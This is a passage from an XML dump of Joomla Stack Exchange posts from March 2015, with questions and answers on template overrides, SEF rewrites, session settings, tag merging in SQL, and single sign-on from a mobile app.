&quot;0&quot; in the database, so don't want to presume that my settings should be the same as everybody elses.&lt;/p&gt;&#xA;" OwnerUserId="64" LastEditorUserId="64" LastEditDate="2015-03-18T18:18:34.733" LastActivityDate="2015-03-18T18:18:34.733" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9120" PostTypeId="1" CreationDate="2015-03-18T17:01:49.660" Score="1" ViewCount="986" Body="&lt;p&gt;In Joomla 3.x the system generates a few page-function icons for an article, including a 'Print' and an 'Email' icon.  I would like to include the 'Email' link in other places in the content of an article.  Is there an API call I can use to generate the URL/anchor that will do the same thing as clicking the icon would do?  Ie. Pop-up the 'Email this page' screen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for clarity &lt;a href=&quot;https://myportal.portalwebhosting.com/knowledgebase/demo.php?id=6942&amp;amp;series=330&amp;amp;format=text&quot; rel=&quot;nofollow&quot;&gt;this article&lt;/a&gt; discusses the functionality I am interested in duplicating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="3906" LastActivityDate="2018-05-19T20:43:12.227" Title="How can I generate an 'Email this page' URL/anchor that works the same as clicking the 'Email' icon?" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9121" PostTypeId="2" ParentId="9102" CreationDate="2015-03-18T17:06:58.187" Score="1" Body="&lt;p&gt;I have the same trouble with an local installation. If you are using Xampp on a Win OS that might be the problem. It might also causes errors by using an Akeeba JPA File.&#xA;Check this out: &lt;a href=&quot;https://www.akeebabackup.com/products/cmsupdate.html&quot; rel=&quot;nofollow&quot;&gt;https://www.akeebabackup.com/products/cmsupdate.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After installing try to run the update with this the software. For me it was an effective solution.&lt;/p&gt;&#xA;" OwnerUserId="3834" LastActivityDate="2015-03-18T17:06:58.187" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9122" PostTypeId="1" CreationDate="2015-03-18T18:55:22.627" Score="0" ViewCount="81" Body="&lt;p&gt;I am working on a Joomla site and I want the make the design similar to the following website:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.habibrafiq.com/index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I inspect the template/theme name ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3908" LastEditorUserId="126" LastEditDate="2016-01-21T23:12:44.790" LastActivityDate="2016-01-21T23:12:44.790" Title="Inspect Joomla template/theme name" Tags="|templates|cms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9123" PostTypeId="2" ParentId="9122" CreationDate="2015-03-18T19:32:01.103" Score="1" Body="&lt;p&gt;You can simply open your browser inspector by pressing &lt;kbd&gt;F12&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to view the source code, and open the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; tag which will display a load of stylesheets and scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a screenshot to show you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p8hE2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-18T19:32:01.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9124" PostTypeId="2" ParentId="4803" CreationDate="2015-03-18T22:05:37.140" Score="0" Body="&lt;p&gt;the best solution to mass generate joomla menu links is actually JLinker Mass Menu Link Generator: &lt;a href=&quot;http://www.jlinker.com&quot; rel=&quot;nofollow&quot;&gt;http://www.jlinker.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works with Joomla 2.5 and Joomla 3.x, it's free and it allows you to generate links for Joomla articles and categories. There are also extensions to generate links for K2 and Virtuemart.&lt;/p&gt;&#xA;" OwnerUserId="3910" LastActivityDate="2015-03-18T22:05:37.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9125" PostTypeId="2" ParentId="9122" CreationDate="2015-03-18T22:38:54.220" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://www.habibrafiq.com/templates/habibrafiq/templateDetails.xml&quot; rel=&quot;nofollow&quot;&gt;http://www.habibrafiq.com/templates/habibrafiq/templateDetails.xml&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template was made by &lt;a href=&quot;http://www.itchamber.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.itchamber.com/&lt;/a&gt; probably using some previous template as a base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also that looks like Joomla! 1.5, so you can't really gain much from knowing the template name.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-03-18T22:38:54.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9126" PostTypeId="1" CreationDate="2015-03-19T05:14:29.203" Score="0" ViewCount="33" Body="&lt;p&gt;I was trying to SEF a certain link on my website:&#xA;&lt;a href=&quot;http://blahblah/cards/?se=1&amp;amp;search=Search+(e.g.+chase+freedom)&amp;amp;se_cats[]=1&amp;amp;se_6[]=Bank+Secured&quot; rel=&quot;nofollow&quot;&gt;http://blahblah/cards/?se=1&amp;amp;search=Search+(e.g.+chase+freedom)&amp;amp;se_cats[]=1&amp;amp;se_6[]=Bank+Secured&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to make it to &lt;a href=&quot;http://blahblah/cards/bank-secured&quot; rel=&quot;nofollow&quot;&gt;http://blahblah/cards/bank-secured&lt;/a&gt;, and users shouldn't see any redirection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried multiple extension like MijoSEF and JoomSEF. Neither works. I only want to SEF this link for now. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody have a quick and easy solution? I am lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="3911" LastEditorUserId="3911" LastEditDate="2015-03-19T06:18:12.260" LastActivityDate="2015-03-19T06:55:08.050" Title="SEF a certain link" Tags="|joomla-3.x|sef|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9128" PostTypeId="2" ParentId="9126" CreationDate="2015-03-19T06:55:08.050" Score="1" Body="&lt;p&gt;Add a rewrite rule to your .htaccess before the sef rewrite rules Joomla! uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule http://blahblah/cards/bank-secured  http://blahblah/cards/?se=1&amp;amp;search=Search+(e.g.+chase+freedom)&amp;amp;se_cats[]=1&amp;amp;se_6[]=Bank+Secured&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rewrites by default work like you want so it is simple enough. Only issue is with syntax. You'd probably have to escape parts of the two links with &quot;\&quot; for it to work. And possibly add some stuff to handle possible variations in links. You should consult either the Apache documentation or some web tutorial for that. I &lt;strong&gt;could&lt;/strong&gt; look up the details, but it is really better not to add the rule unless &lt;strong&gt;you&lt;/strong&gt; have the basic understanding of it yourself IMHO.&lt;/p&gt;&#xA;" OwnerUserId="2309" LastActivityDate="2015-03-19T06:55:08.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9129" PostTypeId="2" ParentId="9120" CreationDate="2015-03-19T08:38:18.440" Score="1" Body="&lt;p&gt;It's a simple link with a window.open in the onclick event to open the mailto component in a new window, this is the html:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;index.php?option=com_mailto&amp;amp;view=mailto&amp;amp;tmpl=component&amp;amp;link=d737962d86ca78bb2e67d29195a13bf03d55a274&quot; title=&quot;e-mail&quot; onclick=&quot;window.open(this.href,'win2','width=400,height=350,menubar=yes,resizable=yes'); return false;&quot;&amp;gt;&amp;lt;span class=&quot;icon-envelope&quot;&amp;gt;&amp;lt;/span&amp;gt; e-mail&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem here is the mandatory link variable in the href, it's the article link hashed by the mailto component helper, I think the only way to achieve this will be a content plugin with the ability to replace something like {email}your anchor{/email} with the above code using the mailto helper inside the plugin to hash the article link.&lt;/p&gt;&#xA;" OwnerUserId="3760" LastActivityDate="2015-03-19T08:38:18.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9131" PostTypeId="1" AcceptedAnswerId="9132" CreationDate="2015-03-19T10:45:01.407" Score="1" ViewCount="209" Body="&lt;p&gt;I am working on Joomla 1.5. I have to override Joomla default template of my component (Virtuemart). It's working fine. But problem is i have to override my template if user is logged in only. I have to check look like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;if($user-&amp;gt;guest==1){&#xA;&#xA;// Not override my template &#xA;&#xA;}else{&#xA;&#xA;&#xA;// Override this template  &#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know my condition works, but where should I write this condition. And if the condition is wrong then how can i do this?&lt;/p&gt;&#xA;" OwnerUserId="3917" LastEditorUserId="1629" LastEditDate="2015-03-19T16:07:58.523" LastActivityDate="2015-03-19T16:07:58.523" Title="How to override component template in joomla if user is logged in?" Tags="|component|joomla-1.5|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9132" PostTypeId="2" ParentId="9131" CreationDate="2015-03-19T11:07:59.037" Score="1" Body="&lt;p&gt;What I would personally do is, use 2 sub templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So firstly, create your template override for the view that you want to use, and then create 2 new PHP files, so you directory structure will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tmpl/&#xA;   default.php&#xA;   default_guest.php&#xA;   default_loggedin.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your &lt;strong&gt;default.php&lt;/strong&gt;, add the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;if ($user-&amp;gt;guest == 1)&#xA;{&#xA;    echo $this-&amp;gt;loadTemplate('guest');&#xA;}&#xA;else&#xA;{&#xA;    echo $this-&amp;gt;loadTemplate('loggedin');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in your &lt;strong&gt;default_loggedin.php&lt;/strong&gt; add your code for the main template override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your &lt;strong&gt;default_guest.php&lt;/strong&gt;, simply copy and paste the code from the default view.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-03-19T11:13:22.397" LastActivityDate="2015-03-19T11:13:22.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9133" PostTypeId="1" CreationDate="2015-03-19T15:16:40.583" Score="0" ViewCount="380" Body="&lt;p&gt;Since Joomla does not have a tag merging feature, I'm looking for a way to merge existing tags using SQL query in phpmyadmin. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Old tag_id=1 &lt;/li&gt;&#xA;&lt;li&gt;New tag_id=2&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This query works as long as all of the articles that have the tag_id=1 don't have also the tag tag_id=2.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Update xxx_contentitem_tag_map SET tag_id=2 WHERE tag_id=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesnt work when one of the article also have the tag_id=2. So I'm looking for a smart query that would work only on that selection: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM xxx_contentitem_tag_map WHERE tag_id=1 AND tag_id!=2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How should I merge this SELECT query with the update query?&lt;/p&gt;&#xA;" OwnerUserId="1580" LastEditorUserId="1580" LastEditDate="2015-03-19T15:53:20.477" LastActivityDate="2016-03-13T10:10:54.220" Title="How to merge joomla tag using SQL query from phpMyadmin?" Tags="|joomla-3.3.x|database|tags|sql|phpmyadmin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9134" PostTypeId="1" CreationDate="2015-03-19T16:00:40.200" Score="1" ViewCount="177" Body="&lt;p&gt;Is there any way I can setup a joomla menu with different templates depending upon the usergroup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, guest user see that menu in with template A layout and registered user see the same menu in different template.&lt;/p&gt;&#xA;" OwnerUserId="3886" LastActivityDate="2015-04-21T03:08:46.500" Title="Joomla menu with different template as per usergroup" Tags="|templates|menu-item|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9136" PostTypeId="1" AcceptedAnswerId="9139" CreationDate="2015-03-19T22:34:41.463" Score="4" ViewCount="1233" Body="&lt;p&gt;I want to change the header in the default admin template Isis.&#xA;This is the output now.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;header class=&quot;header&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;container-logo&quot;&amp;gt;&#xA;        &amp;lt;img src=&quot;administrator/templates/isis/images/logo.png&quot; class=&quot;logo&quot; alt=&quot;sitename&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;container-title&quot;&amp;gt;&#xA;     &amp;lt;h1 class=&quot;page-title&quot;&amp;gt;&#xA;      &amp;lt;span class=&quot;icon-eye thememanager&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;      Templatebeheer: Stijlen&amp;lt;/h1&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to have it without:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;span class=&quot;icon-eye thememanager&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not looking for a css method with display:none;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Somewhere it is coded that an icon is added. I have already looked in the module mod_title in here it shows only php echo $title. So there I could not delete the icons...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have come close to the effect by changing administrator/includes/toolbar.php but I can't change it in there because it will be lost by an update. I believe. So can I create an override for this. How???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a better way! Without the CSS display:none because I need to use the span for something else.&lt;/p&gt;&#xA;" OwnerUserId="3920" LastActivityDate="2015-05-17T17:38:49.827" Title="Joomla 3.4 Admin Template Override" Tags="|templates|administrator|template-override|joomla-3.4|header|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9137" PostTypeId="2" ParentId="9136" CreationDate="2015-03-20T00:02:57.327" Score="2" Body="&lt;p&gt;The code is located in the following file on line &lt;strong&gt;86&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;administrator\components\com_templates\views\templates\view.html.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You will see the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolbarHelper::title(JText::_('COM_TEMPLATES_MANAGER_TEMPLATES'), 'eye thememanager');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please do bare in mind that changing this will be a core hack, so if this file is modified in a future Joomla update, you may lose your changes&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-03-20T00:02:57.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9138" PostTypeId="1" CreationDate="2015-03-20T01:20:50.637" Score="1" ViewCount="155" Body="&lt;p&gt;I have a very basic repeatable field where I am allowing the user to enter some field along with an input where they can enter the 'Display Order' [1,2,3,4,5]. But I am struggling with how I could apply any sorting function on the data that is stored for the repeatable field. A sample output is the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stdClass Object&#xA;(&#xA;    [order] =&amp;gt; Array&#xA;    (&#xA;        [0] =&amp;gt; 1&#xA;        [1] =&amp;gt; 3&#xA;        [2] =&amp;gt; 2&#xA;    )&#xA;    [url] =&amp;gt; Array&#xA;    (&#xA;        [0] =&amp;gt; /first&#xA;        [1] =&amp;gt; /third&#xA;        [2] =&amp;gt; /second&#xA;    )&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How would I go about so that when the module content is displayed in the front end; it would be based on the order defined by user [1,2,3] and not as it is currently [1,3,2].&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-05-27T18:31:47.320" Title="Output repeatable field based on user defined order" Tags="|fix-my-code|module-display|form-fields-types|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9139" PostTypeId="2" ParentId="9136" CreationDate="2015-03-20T01:57:24.787" Score="3" Body="&lt;p&gt;If you want to avoid core hacks, you can use jQuery to remove the &lt;code&gt;class&lt;/code&gt; attribute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery( document ).ready(function($) {&#xA;    $(&quot;.icon-eye.thememanager&quot;).removeAttr(&quot;class&quot;);&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will leave you with only &lt;code&gt;&amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&lt;/code&gt;. If what you're trying to do is change the class rather than removing it (e.g. to change the icon), you can use &lt;code&gt;.removeClass&lt;/code&gt; and &lt;code&gt;.addClass&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery( document ).ready(function($) {&#xA;    $( &quot;.icon-eye.thememanager&quot; )&#xA;          .removeClass( &quot;icon-eye thememanager&quot; )&#xA;          .addClass( &quot;icon-anothericon thememanager&quot; );&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result would be &lt;code&gt;&amp;lt;span class=&quot;icon-anothericon thememanager&quot;&amp;gt;&amp;lt;/span&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-03-20T01:57:24.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9140" PostTypeId="1" AcceptedAnswerId="9146" CreationDate="2015-03-20T03:34:16.327" Score="1" ViewCount="502" Body="&lt;p&gt;I have recently changed the Session Handler setting in Joomla 1.5! from 'database' to 'none'. I am searching as to where does Joomla! stores this information in the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more precise, where does Joomla! saves the setting of Session Handler? &lt;/p&gt;&#xA;" OwnerUserId="3921" LastActivityDate="2015-03-20T07:44:39.387" Title="Where does Joomla stores the session handler setting?" Tags="|component|database|joomla-1.5|session|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9141" PostTypeId="1" CreationDate="2015-03-20T05:01:59.553" Score="1" ViewCount="1552" Body="&lt;p&gt;&lt;strong&gt;Background&lt;/strong&gt;&lt;br&gt;&#xA;I have Joomla website and mobile App that's running on different server (programmed using JavaScript). Both belong to the same party, and the users have similar accounts on both with identical ID's and passwords (although these ID's and passwords are stored in different DB's, we make sure they are synchronized and identical).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Current behavior&lt;/strong&gt;&lt;br&gt;&#xA;Users log in to the App (session is created on the App server) and navigate to the button (website). Upon tapping on the button, it opens new window displaying (login page of the website). They have to insert their credentials once again and then access to their accounts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Objective&lt;/strong&gt;&lt;br&gt;&#xA;Allow users to access the website without going through login page again (they are verified when they login to the App, so no need to verify again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Attempts&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I searched for a proper plugin that connects Joomla to App platform (Appery) but I could not find. Many Joomla plugins allows single sign on using facebook, google ... etc. But I could not find any one can word with mobile App that exists on different server with separate DB&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Session and Cookie is excluded as both on different servers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I also referred to this &lt;a href=&quot;https://joomla.stackexchange.com/questions/4149/logging-in-user-without-getting-password-from-them&quot;&gt;Logging in user without getting password from them&lt;/a&gt; , but I could not figure out what plugin the OP is talking about.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I I've got LDAP configured and enabled however still could not get the SSO to work..&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since the separate databases share the same user credentials, I thought it might be better creating an authentication plugin for my website which authenticates against mobile mobile application database. This way, when a user logs into the mobile application they already have a transportable session. However, I've never created any plugin before, let alone a login plugin.. (any where to start from ?)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I also resorted to this idea (&lt;a href=&quot;https://stackoverflow.com/questions/29115209/amend-form-content-on-ajax-request&quot;&gt;https://stackoverflow.com/questions/29115209/amend-form-content-on-ajax-request&lt;/a&gt;) but from the responses I got, it seemed to me irrational.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I searched over the internet for quite a while, and I posted several questions trying to explore my way through this. I would deeply appreciate your help and support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not the right venue to ask such a question, please refer to the suitable one.&lt;/p&gt;&#xA;" OwnerUserId="3574" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2017-09-30T10:04:52.210" Title="Login to Joomla website from mobile App" Tags="|joomla-2.5|php|development|javascript|login|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9143" PostTypeId="2" ParentId="7136" CreationDate="2015-03-20T06:17:33.057" Score="1" Body="&lt;p&gt;@klaasvaak, I don't know if you need this anymore, but just in case somebody does:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla is designed to identify the user sessions per application viz &lt;code&gt;site&lt;/code&gt; and &lt;code&gt;administrator&lt;/code&gt; with a &lt;code&gt;session_name&lt;/code&gt; which defaults to the name of the &lt;code&gt;JApplicationCms&lt;/code&gt; instance if not set otherwise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, it has given you a way to assign a &lt;strong&gt;fixed&lt;/strong&gt; name to all the user sessions in Joomla &lt;code&gt;configuration.php&lt;/code&gt; file. Once you do this, all sessions have the same identity and hence session content will be shared automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just add following line in the &lt;code&gt;configuration.php&lt;/code&gt; file in your site root and you are good to go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $session_name = 'izharaazmi.com';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;WARNING:&lt;/strong&gt; &lt;em&gt;All of the users will be made to login into everywhere (I mean including backend) unless you disallow backend login for those user&#xA;  groups in &lt;code&gt;Global Configurations &amp;gt; Permissions&lt;/code&gt;. However this is the&#xA;  default setting in Joomla, hence you may not need to bother. But&#xA;  always make sure of it.&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Last advice:&lt;/strong&gt; Don't be a lazy, at least when its a matter of security :-)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3923" LastActivityDate="2015-03-20T06:17:33.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9146" PostTypeId="2" ParentId="9140" CreationDate="2015-03-20T07:44:39.387" Score="0" Body="&lt;p&gt;This setting is stored in the configuration file &lt;code&gt;configuration.php&lt;/code&gt; (located in the root folder of your Joomla installation) under the &lt;code&gt;$session_handler&lt;/code&gt; variable. By default it is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $session_handler = 'database';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-03-20T07:44:39.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9147" PostTypeId="2" ParentId="9102" CreationDate="2015-03-20T07:56:22.393" Score="0" Body="&lt;p&gt;There is also a Joomla Installation Bug in some cases.&#xA;Try this before running the update.&#xA;Replace the file: yourinstallationfolder\installation\sql\mysql\joomla.sql&#xA;with this file and try the update again.&#xA;&lt;a href=&quot;https://www.dropbox.com/s/4pibwrsmekem9r1/joomla.sql?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/4pibwrsmekem9r1/joomla.sql?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3834" LastActivityDate="2015-03-20T07:56:22.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9148" PostTypeId="1" AcceptedAnswerId="9149" CreationDate="2015-03-20T08:45:52.240" Score="1" ViewCount="489" Body="&lt;p&gt;I cant find the path of &quot;Pagination&quot; library in joomla 3.3 even though i'm following this &lt;a href=&quot;https://docs.joomla.org/J1.5:Using_JPagination_in_your_component&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; it looks like they changed the path in 3.3. I want to extend the pagination for my custom component.&lt;/p&gt;&#xA;" OwnerUserId="3582" LastActivityDate="2015-03-20T08:57:35.293" Title="Path of Pagination Library in Joomla 3.*" Tags="|component|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9149" PostTypeId="2" ParentId="9148" CreationDate="2015-03-20T08:57:35.293" Score="1" Body="&lt;p&gt;The doc which you are referring is of Joomla 1.5 version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Joomla 3.3, you will find the pagination code at &lt;code&gt;libraries/cms/pagination/pagination.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="396" LastActivityDate="2015-03-20T08:57:35.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9154" PostTypeId="1" AcceptedAnswerId="12231" CreationDate="2015-03-20T13:00:44.287" Score="1" ViewCount="1825" Body="&lt;p&gt;I have a multi-lingual joomla-installation(3.4) and I want to have a URL (within the logo) that linked to the respective root like &lt;em&gt;index.php/en&lt;/em&gt;, &lt;em&gt;index.php/ru&lt;/em&gt;, and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works pretty well in a local environment like xampp but when the installation goes live the URL in every language linked always to the german / standard version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how I linked the logo.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;a title=&quot;title&quot; class=&quot;navbar-brand&quot; href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl; ?&amp;gt;&quot;&amp;gt; &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In both cases Joomla is installed to a subfolder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="3834" LastEditorUserId="126" LastEditDate="2015-08-19T13:19:15.390" LastActivityDate="2015-09-18T13:47:23.303" Title="Root URL in multilanguage Installation" Tags="|joomla-3.3.x|url|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9155" PostTypeId="1" CreationDate="2015-03-20T13:12:02.607" Score="1" ViewCount="458" Body="&lt;p&gt;I am using Joomla 2.5 version. And I am using Virtuemart component for my website.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to check that if user is a VIP user then, deduct 10% amount from default virtuemart cart prices. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this ? &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Should I develop virtuemart plugin for this purpose?&lt;br&gt;&#xA;I know core file hacking is not better technique to change cart values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some business logic to check that if user is vip or not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I have to develop plugin for virtuemart (for this purpose) then how can I do this?&#xA;I have no idea about plugin development on virtuemart, documentation of virtuemart is very poor also :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched a lot but I did not find anything on google too :( &lt;/p&gt;&#xA;" OwnerUserId="3917" LastEditorUserId="126" LastEditDate="2016-01-21T23:11:48.367" LastActivityDate="2016-01-21T23:11:48.367" Title="How to change virtuemart cart values?" Tags="|plugin|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
